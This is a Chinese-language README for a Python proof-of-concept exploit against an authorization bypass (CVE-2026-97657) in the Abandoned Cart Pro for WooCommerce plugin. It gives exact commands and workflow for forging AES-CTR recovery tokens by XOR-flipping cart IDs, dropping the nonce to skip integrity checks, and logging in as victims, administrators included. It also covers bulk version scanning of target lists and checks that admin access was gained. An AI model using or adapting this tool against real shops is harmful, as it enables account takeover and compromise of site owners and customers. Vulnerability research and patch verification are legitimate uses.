针对 CVE-2026-97657 的 Python 3 PoC — Abandoned Cart Pro for WooCommerce(Tyche Softwares)≤ 10.8.0。CNA:Wordfence。
| 产品 | Abandoned Cart Pro for WooCommerce |
| 受影响版本 | ≤ 10.8.0(升级到高于 10.8.0 的修复版本) |
| CWE | CWE-639 — 通过用户可控密钥绕过授权 |
| CVSS 3.1 | 9.8 严重 |
| 验证标记 | POCBIT-97657-OK(会话/管理员检查) |
| PoCbit | https://pocbit.org/pocs/cve-2026-97657 |
恢复链接使用无 MAC 的 AES-CTR 令牌(兼容 Wcal_Aes_Ctr 的布局:8 字节 CTR nonce + 密文,base64 编码)。插件从攻击者可控的 user_email 查询参数中加载按邮箱对应的 encrypt_key。在 wcap_email_track_links()(Pro 版;Lite 版对应函数为 wcal_email_track_links())中,wcap_nonce / HMAC 检查仅在 wcap_nonce 非空时执行,因此省略该参数即可跳过完整性校验。解密后,abandoned_id(购物车行 ID)被直接使用,未验证其是否属于该邮箱,随后在启用自动登录(默认启用)时执行 wp_set_auth_cookie()。
未认证攻击者只需持有一个来自自己提醒邮件的合法恢复 URL,即可对 CTR 密文进行 XOR 篡改,将内嵌的购物车 ID 改为受害者的废弃购物车 ID(长度与源 ID 相同),在不带 wcap_nonce 的情况下打开伪造的 URL,并以受害者身份登录(包括曾废弃购物车的管理员)。
典型 URL 形式(Pro 版):
GET /?wacp_action=checkout_link&[email protected]&validate=<token>
(存在 wcap_action / wcal_action 变体;track-links URL 可能包含额外参数,例如 c=。)
cd CVE-2026-97657
pip install -r requirements.txt
requests、urllib3| 模式 | 用途 | 必需参数 |
|---|---|---|
check(默认) | 读取插件 readme.txt,标记版本 ≤ 10.8.0 | -t URL 或 --list FILE |
forge | 在本地构建伪造的恢复 URL(不发起 HTTP 请求) | --recovery-link、--source-cart-id、--target-cart-id |
exploit | 伪造 token + HTTP GET + 验证 WordPress 会话 | 与 forge 相同 |
推荐工作流程(授权实验环境):
check — 确认插件 slug 及版本 ≤ 10.8.0。forge — 在发送流量前验证购物车 ID 填充和 URL 结构。exploit — 向伪造的恢复 URL 发送一次 GET 请求;确认 cookie 及 /wp-admin/。Exploit/forge 不使用 -t / --list。目标主机取自 --recovery-link(scheme + host)。
| 要求 | 原因 |
|---|---|
| 一个合法的恢复 URL | 提供有效的 CTR nonce + 密文,并且(通常)在 ac_sent_history 中提供你的 user_email / encrypt_key 记录 |
| 插件 ≤ 10.8.0 且已启用 自动登录(默认) | 已修补的版本或禁用自动登录会阻止 wp_set_auth_cookie() |
| 受害者是已注册的 WordPress 用户,且存在 废弃购物车记录 | 接管路径会从 ac_abandoned_cart_history 登录 user_id;纯访客购物车走不同分支 |
强烈建议使用 checkout_link URL | 明文为 {abandoned_cart_id}&url=...。track_links token 编码的是 email_sent_id,而非购物车 ID — 错误的 ID 类型会破坏 forge |
| 等长 ID | CTR XOR 可延展性仅按 1:1 翻转字节;用零填充(见下文) |
--recovery-linkcheckout_link(或从webhooks / 插件导出中获取,如已启用)。Pro 版示例结构(来自供应商文档 / webhooks):
https://shop.example/?wacp_action=checkout_link&validate=<base64-token>
https://shop.example/?wacp_action=checkout_link&[email protected]&validate=<token>
https://shop.example/?wacp_action=track_links&[email protected]&validate=<token>&c=<coupon-token>
请完全按照邮件中的 URL 粘贴(包括 validate;查询参数顺序无关紧要)。
| 来源 | 字段 |
|---|---|
| WooCommerce Abandoned Cart → Cart details(管理员) | 废弃购物车 ID(数据库主键) |
Webhook 载荷(wcap_cart、checkout_link 上下文) | 购物车资源上的 "id": "383" |
| MySQL(实验环境) | wp_ac_abandoned_cart_history.id(Pro 表前缀可能不同) |
--source-cart-id 必须是你自己的令牌明文中的 ID(你的废弃购物车行)。--target-cart-id 是同一张表中受害者的行。
PoC 会拒绝长度不匹配的 ID。将两个 ID 填充到相同宽度:
| 来源(你的) | 目标(受害者的) | 可以吗? |
|---|---|---|
383 | 001 | 是(3 个字符) |
0383 | 0001 | 是(4 个字符) |
383 | 1 | 否 — 请改用 0383 / 0001 运行 forge |
| 标志 | 模式 | 含义 |
|---|---|---|
-t、--target | check | WordPress 站点根地址,例如 https://shop.example.com |
--list FILE | check | 每行一个站点 URL;忽略 # 注释 |
--mode | 全部 | check(默认)、forge、exploit |
--recovery-link URL | forge、exploit | 来自提醒邮件的完整恢复 URL |
--source-cart-id | forge、exploit | 你的废弃购物车行 ID(位于令牌明文中) |
--target-cart-id | forge、exploit | 受害者的废弃购物车行 ID(字符串长度相同) |
-j N | check(列表) | 并行工作线程数(默认 8) |
--timeout SEC | check、exploit | HTTP 超时(默认 15) |
--insecure | check、exploit | 禁用 TLS 证书验证 |
--jsonl FILE | check、exploit | 每次运行追加一个 JSON 对象 |
--vuln-list FILE | check | 写入版本 ≤ 10.8.0 的 URL |
-q、--quiet | 全部 | 减少控制台输出 |
--no-color | 全部 | 纯终端 |
退出码
| 代码 | 何时 |
|---|---|
| 0 | Exploit:success: true;forge:始终;check:始终(单个 -t) |
| 1 | Exploit:登录/管理员验证失败 |
| 2 | 使用列表运行 check 且无 -t 语义(信息性) |
python poc.py -t https://shop.example.com --mode check
python poc.py --list targets.example.txt --mode check -j 16 --vuln-list hits.txt --jsonl scan.jsonl
探测:
/wp-content/plugins/woocommerce-abandon-cart-pro/readme.txtwoocommerce-abandoned-cart-propython poc.py --mode forge \
--recovery-link "https://shop.example.com/?wacp_action=checkout_link&[email protected]&validate=..." \
--source-cart-id "0383" \
--target-cart-id "0001"
输出的 JSON 包含 exploit_url(从 validate 中剥离 HMAC 后缀,移除 nonce 参数)。
该 PoC 还会从查询中移除原始链接上可能存在的 wcap_nonce / wcal_nonce。
--mode exploit)执行本地令牌伪造,然后发起单次未认证的 HTTP GET 请求(并跟随重定向)。不会发送任何 WordPress 凭据。
sequenceDiagram
participant Att as Attacker PoC
participant WP as WordPress + Pro plugin
participant DB as Plugin DB
Att->>Att: Parse recovery URL (validate, user_email, wacp_action)
Att->>Att: Strip .hmac from validate if present
Att->>Att: XOR-malleate cart ID in CTR ciphertext
Att->>WP: GET forged URL (no wcap_nonce)
WP->>DB: encrypt_key for user_email (attacker email)
WP->>WP: AES-CTR decrypt → forged abandoned_id
WP->>DB: Load user_id for abandoned_id (no ownership check)
WP->>WP: wp_set_auth_cookie(victim) if auto-login on
WP-->>Att: Set-Cookie + redirect (shop / checkout / my-account)
Att->>WP: GET /wp-admin/ with session
Att->>Att: success if logged-in cookies + admin/dashboard
--recovery-link — 主机成为利用目标;查询参数除被修改的部分外均保留。validate 为 ciphertext.64hex,则仅保留第一个 . 之前的部分(遗留/降级风格的 blob)。source_cart_id 变为 target_cart_id(位于 &url= 之前)。validate,丢弃 wcap_nonce / wcal_nonce。wordpress_logged_in* / wordpress_sec* cookie。/wp-admin/;如果未被重定向回 wp-login.php 且出现仪表盘标记,则视为成功。# Full chain against lab shop
python poc.py --mode exploit \
--recovery-link "https://shop.example.com/?wacp_action=checkout_link&[email protected]&validate=TOKEN_FROM_EMAIL" \
--source-cart-id "0383" \
--target-cart-id "0001"
# Self-test: source == target (proves link + crypto path; logs in as yourself)
python poc.py --mode exploit \
--recovery-link "https://shop.example.com/?wacp_action=checkout_link&[email protected]&validate=..." \
--source-cart-id "0383" \
--target-cart-id "0383"
# Lab TLS / bad cert
python poc.py --mode exploit --insecure --timeout 25 \
--recovery-link "..." --source-cart-id "0100" --target-cart-id "0042"
# Log result to JSONL
python poc.py --mode exploit --jsonl exploit_results.jsonl \
--recovery-link "..." --source-cart-id "383" --target-cart-id "001"
只有当以下两项都为真时,PoC 才会设置 success: true:
| 检查项 | 详情 |
|---|---|
| 会话 Cookie | 恢复 GET 请求后至少存在一个 wordpress_logged_in* 或 wordpress_sec* |
| 管理界面 | GET /wp-admin/ 看起来已通过身份验证(未重定向到登录页) |
成功时控制台会打印 POCBIT-97657-OK。该字符串是 PoCbit 的标签;漏洞利用本身并不会将其注入站点。